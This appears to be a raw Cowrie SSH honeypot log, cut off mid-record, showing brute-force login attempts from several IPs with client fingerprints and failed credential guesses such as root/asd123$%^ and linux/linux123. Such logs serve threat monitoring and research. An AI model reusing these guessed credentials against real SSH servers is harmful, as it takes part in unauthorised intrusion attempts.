{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"0d:be:9f:63:7d:9a:1e:67:91:ee:16:60:64:cf:19:0d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCj8QT1w/RjYTJPPGGsGodW3pfx8Ou5eHs/fzVpFwXMGm2BBHelQTqo8opFhnZqU0tjr9+uOBiGYoBnzwihbpBHfRxfwRqZEAPAucAYdtyiuLBUD2nlY3aqFVNzG0Q55nL0tbBA+7gjvHet4sRw69UXonSuzF5iYk7HnfRVBqbn8DQBuFlrLUyCJbD8xXUND1LpZPzCAqfHtuqAD593MypzNHqfoKcOXKAaDKAPKILAu7viUqm5wLMqUf9Dcq4tLEPm3tV8V16mXSFhMgOn66T85Epb7PeOX0+F74gUrkBPt4IVlBt4YQQhpqlMMixmP9aVd3+KRlhbubMxCElYvVSSnXAkRye7PdanKCi78GxCus+L7Wg+tQaUiNeiLYMDuFb+JRSoxRRXgunAJGyfosmGlsz+xBabMdQrhARmI0g2lpTrAca8CRsB2PD2PGwyT2zK8KXTxnsMkp5AerYW6w2MpCGgfIGAlWA/JWUf1ai9ifep+SIwzKFK/hhUYzjBj1XHOUCZZTEzlnvhTblL57JbS/eyREAtx0EQq2HYSYaDB+02tPwzvB1OXAUhxXZO+Znd//CK9l44iaH5A/g374WwJY9GStb4MRp44BEwLNzQdQ7lIKdj90Ojqgam1+fLDsoFbUlwJohLR6+YOMKOG/iust//115ui7Vk18Sva1AZCQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 0d:be:9f:63:7d:9a:1e:67:91:ee:16:60:64:cf:19:0d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:17:12.812826Z","src_ip":"199.127.62.250","session":"1c2e6330fb28","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"0d:be:9f:63:7d:9a:1e:67:91:ee:16:60:64:cf:19:0d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCj8QT1w/RjYTJPPGGsGodW3pfx8Ou5eHs/fzVpFwXMGm2BBHelQTqo8opFhnZqU0tjr9+uOBiGYoBnzwihbpBHfRxfwRqZEAPAucAYdtyiuLBUD2nlY3aqFVNzG0Q55nL0tbBA+7gjvHet4sRw69UXonSuzF5iYk7HnfRVBqbn8DQBuFlrLUyCJbD8xXUND1LpZPzCAqfHtuqAD593MypzNHqfoKcOXKAaDKAPKILAu7viUqm5wLMqUf9Dcq4tLEPm3tV8V16mXSFhMgOn66T85Epb7PeOX0+F74gUrkBPt4IVlBt4YQQhpqlMMixmP9aVd3+KRlhbubMxCElYvVSSnXAkRye7PdanKCi78GxCus+L7Wg+tQaUiNeiLYMDuFb+JRSoxRRXgunAJGyfosmGlsz+xBabMdQrhARmI0g2lpTrAca8CRsB2PD2PGwyT2zK8KXTxnsMkp5AerYW6w2MpCGgfIGAlWA/JWUf1ai9ifep+SIwzKFK/hhUYzjBj1XHOUCZZTEzlnvhTblL57JbS/eyREAtx0EQq2HYSYaDB+02tPwzvB1OXAUhxXZO+Znd//CK9l44iaH5A/g374WwJY9GStb4MRp44BEwLNzQdQ7lIKdj90Ojqgam1+fLDsoFbUlwJohLR6+YOMKOG/iust//115ui7Vk18Sva1AZCQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:17:12.817053Z","src_ip":"199.127.62.250","session":"1c2e6330fb28","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f6:6c:c2:21:09:5e:b3:1c:b1:09:7e:c1:6c:2e:fa:c5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDyB9YsvHNL45Ts+iJ3He2MvfXVJza+YpjfYBQX9OCyZLMM4+Uw5N3xl11qaQBtjAGtLKyoM+BEAnGoJICzWQ6Ar3LXiXvU0lsGdDgBPhZJ+9nIGasrAxWgET6E7ddyoQH29RbGS2gbMGs66wYLVDuUaBsZuY2qmV/OOeVSjmZATugekGhG7JPUcJMgwX8gS3Ak0x6LzAF4leK8itaBUPwD3mUBFk/Dmq4y4BBzdtOw7LmqgZ+wXHWkkeuT5RltIf0PQbmr8tg5JvhKDjhvnwj9KVIR4CT1uBhRnJcyPeN86lxVpek6tEF6NiqZuSU9KbSDjHbq/xvPkrsIH9yo0JuP","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f6:6c:c2:21:09:5e:b3:1c:b1:09:7e:c1:6c:2e:fa:c5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:17:12.857544Z","src_ip":"199.127.62.250","session":"1c2e6330fb28","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f6:6c:c2:21:09:5e:b3:1c:b1:09:7e:c1:6c:2e:fa:c5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDyB9YsvHNL45Ts+iJ3He2MvfXVJza+YpjfYBQX9OCyZLMM4+Uw5N3xl11qaQBtjAGtLKyoM+BEAnGoJICzWQ6Ar3LXiXvU0lsGdDgBPhZJ+9nIGasrAxWgET6E7ddyoQH29RbGS2gbMGs66wYLVDuUaBsZuY2qmV/OOeVSjmZATugekGhG7JPUcJMgwX8gS3Ak0x6LzAF4leK8itaBUPwD3mUBFk/Dmq4y4BBzdtOw7LmqgZ+wXHWkkeuT5RltIf0PQbmr8tg5JvhKDjhvnwj9KVIR4CT1uBhRnJcyPeN86lxVpek6tEF6NiqZuSU9KbSDjHbq/xvPkrsIH9yo0JuP","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:17:12.861497Z","src_ip":"199.127.62.250","session":"1c2e6330fb28","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:17:12.902492Z","src_ip":"199.127.62.250","session":"1c2e6330fb28","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.51.214.99","src_port":51078,"dst_ip":"10.17.0.5","dst_port":22,"session":"949be8432ebd","protocol":"ssh","message":"New connection: 202.51.214.99:51078 (10.17.0.5:22) [session: 949be8432ebd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:17:16.383452Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:17:16.388323Z","src_ip":"202.51.214.99","session":"949be8432ebd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:17:16.629212Z","src_ip":"202.51.214.99","session":"949be8432ebd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dbus-helper","password":"warnight","message":"login attempt [dbus-helper/warnight] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:17:17.617814Z","src_ip":"202.51.214.99","session":"949be8432ebd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:17:18.859003Z","src_ip":"202.51.214.99","session":"949be8432ebd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"136.232.11.10","src_port":44113,"dst_ip":"10.17.0.5","dst_port":22,"session":"dfa178a6ac7b","protocol":"ssh","message":"New connection: 136.232.11.10:44113 (10.17.0.5:22) [session: dfa178a6ac7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:17:23.407634Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:17:23.412277Z","src_ip":"136.232.11.10","session":"dfa178a6ac7b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:17:23.641700Z","src_ip":"136.232.11.10","session":"dfa178a6ac7b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asd123$%^","message":"login attempt [root/asd123$%^] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:17:24.557527Z","src_ip":"136.232.11.10","session":"dfa178a6ac7b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:17:25.793545Z","src_ip":"136.232.11.10","session":"dfa178a6ac7b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.242.203.160","src_port":56576,"dst_ip":"159.203.135.109","dst_port":22,"session":"3cf405cf1620","protocol":"ssh","message":"New connection: 43.242.203.160:56576 (159.203.135.109:22) [session: 3cf405cf1620]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:17:27.962068Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:17:27.989823Z","src_ip":"43.242.203.160","session":"3cf405cf1620","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:17:28.284314Z","src_ip":"43.242.203.160","session":"3cf405cf1620","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"udev-monitor","password":"warnight","message":"login attempt [udev-monitor/warnight] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:17:30.126541Z","src_ip":"43.242.203.160","session":"3cf405cf1620","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.171","src_port":53090,"dst_ip":"159.203.135.109","dst_port":22,"session":"bb1be4db2f51","protocol":"ssh","message":"New connection: 80.94.92.171:53090 (159.203.135.109:22) [session: bb1be4db2f51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:17:30.352337Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:17:30.612389Z","src_ip":"80.94.92.171","session":"bb1be4db2f51","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:17:30.616620Z","src_ip":"80.94.92.171","session":"bb1be4db2f51","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.4","message":"Connection lost after 3.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:17:31.389780Z","src_ip":"43.242.203.160","session":"3cf405cf1620","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"123","message":"login attempt [sol/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:17:32.082552Z","src_ip":"80.94.92.171","session":"bb1be4db2f51","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.118.29.129","src_port":34294,"dst_ip":"10.17.0.5","dst_port":22,"session":"5efa7b441c94","protocol":"ssh","message":"New connection: 103.118.29.129:34294 (10.17.0.5:22) [session: 5efa7b441c94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:17:32.950615Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:17:32.956103Z","src_ip":"103.118.29.129","session":"5efa7b441c94","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:17:33.192507Z","src_ip":"103.118.29.129","session":"5efa7b441c94","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:17:33.337812Z","src_ip":"80.94.92.171","session":"bb1be4db2f51","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"linux","password":"linux123","message":"login attempt [linux/linux123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:17:34.157885Z","src_ip":"103.118.29.129","session":"5efa7b441c94","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:17:35.395633Z","src_ip":"103.118.29.129","session":"5efa7b441c94","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.48.205.231","src_port":37918,"dst_ip":"10.17.0.5","dst_port":22,"session":"66a430e94890","protocol":"ssh","message":"New connection: 69.48.205.231:37918 (10.17.0.5:22) [session: 66a430e94890]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:17:46.771876Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:17:46.776047Z","src_ip":"69.48.205.231","session":"66a430e94890","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:17:46.826344Z","src_ip":"69.48.205.231","session":"66a430e94890","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"hilo","message":"login attempt [root/hilo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:17:47.060453Z","src_ip":"69.48.205.231","session":"66a430e94890","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:17:48.113745Z","src_ip":"69.48.205.231","session":"66a430e94890","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.137.172.116","src_port":33966,"dst_ip":"10.17.0.5","dst_port":22,"session":"57468e1ea18b","protocol":"ssh","message":"New connection: 45.137.172.116:33966 (10.17.0.5:22) [session: 57468e1ea18b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:18:15.894527Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:18:15.900126Z","src_ip":"45.137.172.116","session":"57468e1ea18b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 